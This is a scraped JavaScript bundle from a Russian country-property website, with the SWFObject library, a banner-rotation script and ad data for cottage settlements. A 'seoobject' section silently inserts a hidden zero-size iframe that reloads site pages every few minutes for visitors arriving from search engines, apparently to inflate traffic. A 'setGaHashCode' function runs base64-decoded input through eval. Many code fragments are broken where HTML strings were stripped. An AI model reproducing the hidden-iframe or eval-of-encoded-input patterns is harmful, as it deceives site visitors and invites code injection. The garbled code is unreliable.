/* SWFObject v2.2 is released under the MIT License */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab 1) { noIncr = true; } var noIncrArg = noIncr ? '&noIncr=1' : ''; var s = '
'; // position if (positionCode) { s += ''; } // link s += ''; s += ''; } else { s += ' style="position: absolute; left: 0; top: 0; width: ' + (width - (this.borderWidth * 2)) + 'px; height: ' + (height - (this.borderWidth * 2)) + 'px; z-index: 10; border: ' + this.borderWidth + 'px solid ' + this.borderColor + ';">'; s += ''; } s += ''; // zeropx if (zeropxLinkUrl) { s += ''; } // file if(extension) if (extension.match(/(?:^|\.)zip/i) || extension.match(/(?:^|\.)html/i)) { s += ''; }else if (extension.match(/(?:^|\.)swf$/i)) { if (this.noFlash || !this.hasFlashPlayer) { s += ''; } else { // viewBaseUrl + s += ''; for (var key in this.flashParams) { s += ''; } s += ''; } } else { s += ''; } s += '
'; return s; }; this.embedBanner = function (id, width, height, extension, zeropxLinkUrl, positionCode) { var bannerHtml = this.getBannerHtml(id, width, height, extension, zeropxLinkUrl, positionCode); if (bannerHtml) { document.write(bannerHtml); return true; } else { return false; } }; this.data = {}; this.positionCountList = {}; this.positionData = {}; this.getBannerDataByPosition = function (code, limit) { if (!this.positionCountList[code]) { this.positionCountList[code] = 0; } this.positionCountList[code] ++; if (limit && (this.positionCountList[code] > limit)) { return false; } if (this.data[code] && this.data[code].length) { var x = (this.rotationCount + this.positionCountList[code]) % this.data[code].length; var bannerData = this.data[code][x]; if (this.positionData[code]) { for (var key in this.positionData[code]) { bannerData[key] = this.positionData[code][key]; } } return bannerData; } return false; }; this.getBannerHtmlByPosition = function (code, before, after, limit) { var bannerData = this.getBannerDataByPosition(code, limit); if (bannerData) { if (bannerData.p2) { // 2b (2a+b) if (!this.positionCountList[bannerData.p2]) { this.positionCountList[bannerData.p2] = 0; } this.positionCountList[bannerData.p2] ++; } if (bannerData.p3) { // 1c (1a+b+c) if (!this.positionCountList[bannerData.p3]) { this.positionCountList[bannerData.p3] = 0; } this.positionCountList[bannerData.p3] ++; } var s = ''; switch (typeof before) { case 'function': s += before(bannerData); break; case 'string': s += before; break; } s += this.getBannerHtml(bannerData.i, bannerData.w, bannerData.h, bannerData.e, bannerData.z, code); switch (typeof after) { case 'function': s += after(bannerData); break; case 'string': s += after; break; } return s; } else { return false; } }; this.embedPosition = function (code, before, after, limit) { var bannerHtml = this.getBannerHtmlByPosition(code, before, after, limit); if (bannerHtml) { document.write(bannerHtml); return true; } else { return false; } }; // position L this.embedBanner2 = function (id, width, height, extension, zeropxLinkUrl, positionCode) { var viewPath1 = this.viewPath; var viewGifPath1 = this.viewGifPath; this.viewPath = viewPath1.replace('view', 'view2'); this.viewGifPath = viewGifPath1.replace('view', 'view2'); var result = this.embedBanner(id, width, height, extension, zeropxLinkUrl, positionCode); this.viewPath = viewPath1; this.viewGifPath = viewGifPath1; return result; }; this.embedBannerNoIncr = function (id, width, height, extension, zeropxLinkUrl, positionCode) { var noIncr1 = this.noIncr; this.noIncr = true; var result = this.embedBanner(id, width, height, extension, zeropxLinkUrl, positionCode); this.noIncr = noIncr1; return result; }; // position O this.embedPositionNoIncr = function (code, before, after, limit) { var noIncr1 = this.noIncr; this.noIncr = true; var result = this.embedPosition(code, before, after, limit); this.noIncr = noIncr1; return result; }; this.htmlEntityDecode = function (str) { return String(str).replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>').replace(/&/g, '&'); }; return this; }(window); function bnrobjectPositionCallback() { var code = this.getAttribute('data-code'); var before = this.hasAttribute('data-before') ? this.getAttribute('data-before') : null; if (typeof before == 'string') { before = bnrobject.htmlEntityDecode(before); } var after = this.hasAttribute('data-after') ? this.getAttribute('data-after') : null; if (typeof after == 'string') { after = bnrobject.htmlEntityDecode(after); } var limit = this.hasAttribute('data-limit') ? this.getAttribute('data-limit') : null; var bannerHtml = bnrobject.getBannerHtmlByPosition(code, before, after, limit); if (bannerHtml) { this.innerHTML = bannerHtml; } else { this.innerHTML = ''; } } bnrobject.data = {"I8":[{"i":6712,"e":"jpg","w":1270,"h":211,"p":"I8"},{"i":6708,"e":"jpg","w":1270,"h":211,"p":"I8"},{"i":6721,"e":"jpg","w":1270,"h":211,"p":"I8"},{"i":6734,"e":"png","w":1270,"h":211,"p":"I8"},{"i":6735,"e":"jpg","w":1270,"h":211,"p":"I8"},{"i":6746,"e":"jpg","w":1270,"h":211,"p":"I8"}],"IS5":[{"i":6688,"e":"jpg","w":295,"h":320,"p":"IS5"},{"i":6705,"e":"jpg","w":295,"h":320,"p":"IS5"},{"i":6758,"e":"png","w":295,"h":320,"p":"IS5"},{"i":6615,"e":"jpg","w":295,"h":320,"p":"IS5"}],"IL1":[{"i":6689,"e":"jpg","w":945,"h":100,"p":"IL1"},{"i":6728,"e":"jpg","w":945,"h":100,"p":"IL1"},{"i":6772,"e":"jpg","w":945,"h":100,"p":"IL1"}],"IS4":[{"i":6715,"e":"jpg","w":295,"h":320,"p":"IS4"},{"i":6738,"e":"jpg","w":295,"h":320,"p":"IS4"},{"i":6754,"e":"jpg","w":295,"h":320,"p":"IS4"}],"IL":[{"i":6503,"e":"jpg","w":945,"h":90,"p":"IL"},{"i":6723,"e":"jpg","w":945,"h":90,"p":"IL"},{"i":6724,"e":"jpg","w":945,"h":90,"p":"IL"}],"I11":[{"i":6504,"e":"jpg","w":945,"h":157,"p":"I11"},{"i":6645,"e":"jpg","w":945,"h":157,"p":"I11"},{"i":6711,"e":"jpg","w":945,"h":157,"p":"I11"},{"i":6732,"e":"jpg","w":945,"h":157,"p":"I11"},{"i":6747,"e":"jpg","w":945,"h":157,"p":"I11"},{"i":6749,"e":"jpg","w":945,"h":157,"p":"I11"},{"i":6752,"e":"jpg","w":945,"h":157,"p":"I11"}],"_7b":[{"i":6505,"e":"jpg","w":240,"h":200,"p":"_7b","c":"Участки с готовыми коммуникациями в благоустроенном посёлке, у леса и озера","head":"Красноозерное","comment":null,"l":"http:\/\/www.pfa-group.ru\/cottage\/kottedzhnye-poselki-v-leningradskoy-oblasti\/krasnoozyernoe-2\/"}],"IS2":[{"i":6506,"e":"jpg","w":295,"h":320,"p":"IS2"},{"i":6699,"e":"jpg","w":295,"h":320,"p":"IS2"},{"i":6720,"e":"jpg","w":295,"h":320,"p":"IS2"},{"i":6755,"e":"jpg","w":295,"h":320,"p":"IS2"},{"i":6773,"e":"jpg","w":295,"h":320,"p":"IS2"}],"IH":[{"i":6507,"e":"gif","w":1270,"h":100,"p":"IH","z":"https:\/\/mc.yandex.ru\/pixel\/8689037759145550306?rnd=%aw_random%"},{"i":6509,"e":"gif","w":1270,"h":100,"p":"IH","z":"https:\/\/mc.yandex.ru\/pixel\/6685822926774270867?rnd=%aw_random%"},{"i":6510,"e":"gif","w":1270,"h":100,"p":"IH"}],"_72b":[{"i":6621,"e":"jpg","w":240,"h":200,"p":"_72b","c":"","head":"Комплекс таунхаусов OLLILA","comment":null,"l":"http:\/\/ollila.ru\/"},{"i":6696,"e":"jpg","w":240,"h":200,"p":"_72b","c":"","head":"Комплекс таунхаусов OLLILA","comment":null,"l":"http:\/\/ollila.ru\/"},{"i":6709,"e":"jpg","w":240,"h":200,"p":"_72b","c":"У Петергофа. Уникальные домовладения от 190 кв.м. 3 км от КАД. Все коммуникации. Рассрочка. Специальные предложения.","head":"КП «Шале парк»","comment":null,"l":"http:\/\/www.shalepark.ru"}],"_71b":[{"i":6636,"e":"jpg","w":240,"h":200,"p":"_71b","c":"Земельные участки без подряда во Всеволожском р-не от 99 000 руб\/сотка.","head":"КП Агалатово 3","comment":null,"l":"http:\/\/www.agalatovo3.ru\/plan"},{"i":6714,"e":"jpg","w":240,"h":200,"p":"_71b","c":"","head":"Участки в Ломоносовском районе, от 30 тыс.р. за сотку","comment":null,"l":"http:\/\/baltzem.ru"}],"_73d":[{"i":6637,"e":"jpg","w":240,"h":200,"p":"_73d","c":"Земельные участки без подряда во Всеволожском р-не от 99000 руб\/сотка.","head":"КП Агалатово 3","comment":null,"l":"http:\/\/www.agalatovo3.ru\/plan"}],"_73a":[{"i":6641,"e":"jpg","w":240,"h":200,"p":"_73a","c":"","head":"КП «Белый остров»","comment":null,"l":"http:\/\/www.beliyostrov.ru\/"},{"i":6710,"e":"jpg","w":240,"h":200,"p":"_73a","c":"","head":"Дачный поселок «Гостилицкое»","comment":null,"l":"http:\/\/dacha-lomonosov.ru\/"}],"_71a":[{"i":6649,"e":"jpg","w":240,"h":200,"p":"_71a","c":"","head":"КП «Всеволожский»","comment":null,"l":"http:\/\/www.vsevsev.ru"}],"_72c":[{"i":6673,"e":"jpg","w":240,"h":200,"p":"_72c","c":"","head":"КП «Ламбери»","comment":null,"l":"http:\/\/lambery.ru\/genplan\/houses\/1\/"}],"b":[{"i":6690,"e":"png","w":180,"h":90,"e2":"jpg","p":"b","c":"","head":"Коттеджные посёлки бизнес- и премиум-класса от компании \"Строительный трест\". Кузьмолово. Петергоф. Токсово.","comment":null,"l":"http:\/\/www.stroytrest.spb.ru\/kottedzhnye-poselki\/sad-vremeni\/?utm_source=referal&utm_medium=cpc&utm_campaign=sad"},{"i":6702,"e":"png","w":180,"h":90,"e2":"jpg","p":"b","c":"","head":"На берегу озера Вуокса 8,5 гектаров.\r\nПотрясающий вид на острова.","comment":null,"l":"http:\/\/lenoblland.ru"},{"i":6726,"e":"png","w":180,"h":90,"e2":"jpg","p":"b","c":"","head":"Продажа земельных участков на Финском заливе КП Акватория","comment":null,"l":"http:\/\/severnaya-dol.ru\/poselki\/finskij-briz"},{"i":6729,"e":"png","w":180,"h":90,"e2":"jpg","p":"b","c":"","head":"Старт продаж поселка комфорт класса Усадьба в Агалатово Земли ИЖС от 150т.р\/сотка (все коммуникации)","comment":null,"l":"http:\/\/prostor-spb.ru\/"}],"_73b":[{"i":6691,"e":"jpg","w":240,"h":200,"p":"_73b","c":"","head":"Готовые дома в коттеджном поселке Заполье ","comment":null,"l":"http:\/\/xn----8sbkdddigorzhm8aa4o.xn--p1ai"},{"i":6706,"e":"jpg","w":240,"h":200,"p":"_73b","c":"","head":"Дача на Ладоге","comment":null,"l":"http:\/\/www.dacha-ladoga.ru\/"}],"IS1":[{"i":6693,"e":"jpg","w":295,"h":320,"p":"IS1"},{"i":6694,"e":"jpg","w":295,"h":320,"p":"IS1"},{"i":6731,"e":"jpg","w":295,"h":320,"p":"IS1"},{"i":6757,"e":"jpg","w":295,"h":320,"p":"IS1"},{"i":6774,"e":"jpg","w":295,"h":320,"p":"IS1"}],"_7a":[{"i":6695,"e":"jpg","w":240,"h":200,"p":"_7a","c":"","head":"Комплекс таунхаусов OLLILA","comment":null,"l":"http:\/\/ollila.ru\/"}],"_7c":[{"i":6697,"e":"jpg","w":240,"h":200,"p":"_7c","c":"","head":"Домовладение в клубном поселке на Суходольском озере","comment":null,"l":"http:\/\/zagorod.spb.ru\/realty\/house\/9851624185316788"}],"_72a":[{"i":6698,"e":"jpg","w":240,"h":200,"p":"_72a","c":"","head":"Домовладение в клубном поселке на Суходольском озере","comment":null,"l":"http:\/\/zagorod.spb.ru\/realty\/house\/9851624185316788"},{"i":6707,"e":"jpg","w":240,"h":200,"p":"_72a","c":"","head":"КП «Князево»","comment":null,"l":"http:\/\/www.knyazevo.com"},{"i":6717,"e":"jpg","w":240,"h":200,"p":"_72a","c":"","head":"КП Лазурное","comment":null,"l":"http:\/\/www.lazurnoe-poselok.ru\/"}],"IS3":[{"i":6700,"e":"jpg","w":295,"h":320,"p":"IS3"},{"i":6703,"e":"jpg","w":295,"h":320,"p":"IS3"},{"i":6719,"e":"jpg","w":295,"h":320,"p":"IS3"},{"i":6751,"e":"png","w":295,"h":320,"p":"IS3"},{"i":6775,"e":"jpg","w":295,"h":320,"p":"IS3"}],"IDS1":[{"i":6701,"e":"jpg","w":295,"h":650,"p":"IDS1"},{"i":6718,"e":"jpg","w":295,"h":650,"p":"IDS1"},{"i":6725,"e":"jpg","w":295,"h":650,"p":"IDS1"},{"i":6606,"e":"jpg","w":295,"h":650,"p":"IDS1"}],"_7d":[{"i":6704,"e":"jpg","w":240,"h":200,"p":"_7d","c":"","head":"Участки под КОТТЕДЖНЫЕ ПОСЕЛКИ","comment":null,"l":"http:\/\/www.lenoblland.ru"}],"IDS3":[{"i":6713,"e":"jpg","w":295,"h":650,"p":"IDS3"},{"i":6722,"e":"jpg","w":295,"h":650,"p":"IDS3"},{"i":6727,"e":"jpg","w":295,"h":650,"p":"IDS3"}],"IF3":[{"i":6733,"e":"jpg","w":295,"h":140,"p":"IF3"}],"_71d":[{"i":6736,"e":"jpg","w":240,"h":200,"p":"_71d","c":"","head":"КП \"Юкковское парк\"","comment":null,"l":"http:\/\/ukkpark.ru\/?utm_source=zagorod.spb&utm_medium=special&utm_campaign=240x200"}],"IF1":[{"i":6737,"e":"jpg","w":295,"h":140,"p":"IF1"}],"_71c":[{"i":6748,"e":"jpg","w":240,"h":200,"p":"_71c","c":"Продажа участков в Белоострове, от 185000 руб\/сотка - коттеджный поселок.","head":"КП «Белый остров»","comment":null,"l":"http:\/\/www.beliyostrov.ru\/"}],"_72d":[{"i":6750,"e":"jpg","w":240,"h":200,"p":"_72d","c":"Участки во Всеволожском районе,ИЖС","head":"КП «Всеволожский»","comment":null,"l":"http:\/\/www.vsevsev.ru"}],"_73c":[{"i":6753,"e":"jpg","w":240,"h":200,"p":"_73c","c":"Участки ИЖС 25 км. от м. Ветеранов. 5 км от КАД. Озеро, \r\nлес. Электричество 15 кВт. Широкие дороги.","head":"Новое Иннолово","comment":null,"l":"http:\/\/novoe-innolovo.ru\/?utm_source=zagorodspbru&utm_campaign=zagorodspbru"}],"IW":[{"i":6759,"e":"jpg","w":945,"h":100,"p":"IW"}]}; var seoobject = function (window) { this.urls = [ 'http://zagorod.spb.ru/flats', 'http://zagorod.spb.ru/villages' ]; this.appendFrame = function () { var iframe = window.document.createElement('iframe'); iframe.id = 'zagorod-in-frame'; iframe.frameborder = 0; iframe.border = 0; iframe.width = 0; iframe.height = 0; iframe.scrolling = 'no'; iframe.style.position = 'absolute'; iframe.style.left = 0; iframe.style.top = -5; iframe.style.width = 0; iframe.style.height = 0; iframe.src = this.urls[Math.floor(Math.random() * this.urls.length)]; var iframeOld = window.document.getElementById(iframe.id); if (iframeOld) { iframeOld.remove(); } window.document.getElementsByTagName('body')[0].appendChild(iframe); this.appendFrameTimeout(350000); // 5 min }; this.appendFrameTimeout = function (delay) { window.setTimeout(this.appendFrame, delay ? delay : 1500); }; var allowedDomains = [ 'ifolder', 'rusfolder', 'google', 'yandex', 'mail' ]; for (i in allowedDomains) { var pattern = new RegExp('^https?\://(?:www\.)?' + allowedDomains[i], 'i'); if (window.document.referrer.match(pattern)) { if (window.addEventListener) { window.addEventListener('load', this.appendFrameTimeout, false); } else if (window.attachEvent) { window.attachEvent('onload', this.appendFrameTimeout); } break; } } return this; }(window); function decodeb64( data ) { var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i=0, enc=''; do { h1 = b64.indexOf(data.charAt(i++)); h2 = b64.indexOf(data.charAt(i++)); h3 = b64.indexOf(data.charAt(i++)); h4 = b64.indexOf(data.charAt(i++)); bits = h1<<18 | h2<<12 | h3<<6 | h4; o1 = bits>>16 & 0xff; o2 = bits>>8 & 0xff; o3 = bits & 0xff; if (h3 == 64) enc += String.fromCharCode(o1); else if (h4 == 64) enc += String.fromCharCode(o1, o2); else enc += String.fromCharCode(o1, o2, o3); } while (i < data.length); return enc; } function setGaHashCode(code){eval('document.write("'+decodeb64(code)+'");');}